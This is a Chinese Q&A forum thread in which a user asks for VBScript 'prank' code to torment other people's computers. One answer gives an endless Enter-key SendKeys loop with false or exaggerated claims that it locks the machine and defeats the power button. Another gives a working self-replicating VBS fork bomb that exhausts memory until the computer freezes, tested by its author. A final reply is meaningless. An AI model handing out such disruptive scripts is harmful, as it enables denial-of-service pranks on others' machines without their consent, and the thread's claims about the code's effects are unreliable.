Question

求VBS代码

整人的代码，越多越好 另外附加一个能弄疯别人的代码~~~谢谢！

Answer 1

我来搞一个。

Dim ws
set ws=wscript.createobject("wscript.shell")
do
ws.SendKeys"{enter}"
loop

这个虽然小，但是威力超大。
小心使用哦。
它会把电脑锁定，无法关机，连按电源都没用。 而且，更恐怖的还不止这些。。。
看看你的键盘灯吧！
你的鼠标变成一个漏斗！
任务管理器无效！
而且，它会随着时间变长而威力变大！ 也就是说，你开的时间越长，它的威力就越大！
试试吧！

Answer 2

WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname
WScript.CreateObject("WScript.Shell").run Wscript.scriptfullname

说明：1、看到你的帖子，我琢磨了一会想出来的代码，刚才测试代码，搞得我不得不强行关机（一旦运行，无法停止），你测试之前先把其他程序关闭啊
2、代码是两行（虽然两行一样，但是必须为两行）
3、工作原理，慢慢的耗尽内存，电脑逐渐卡，直到电脑完全没反应
4、从运行到电脑没反应大约1分钟的时间
5、1-->2-->4-->8-->16-->32......程序运行过程

追问

没有破解方法吗？

Answer 3

111-111111 反正全部都是1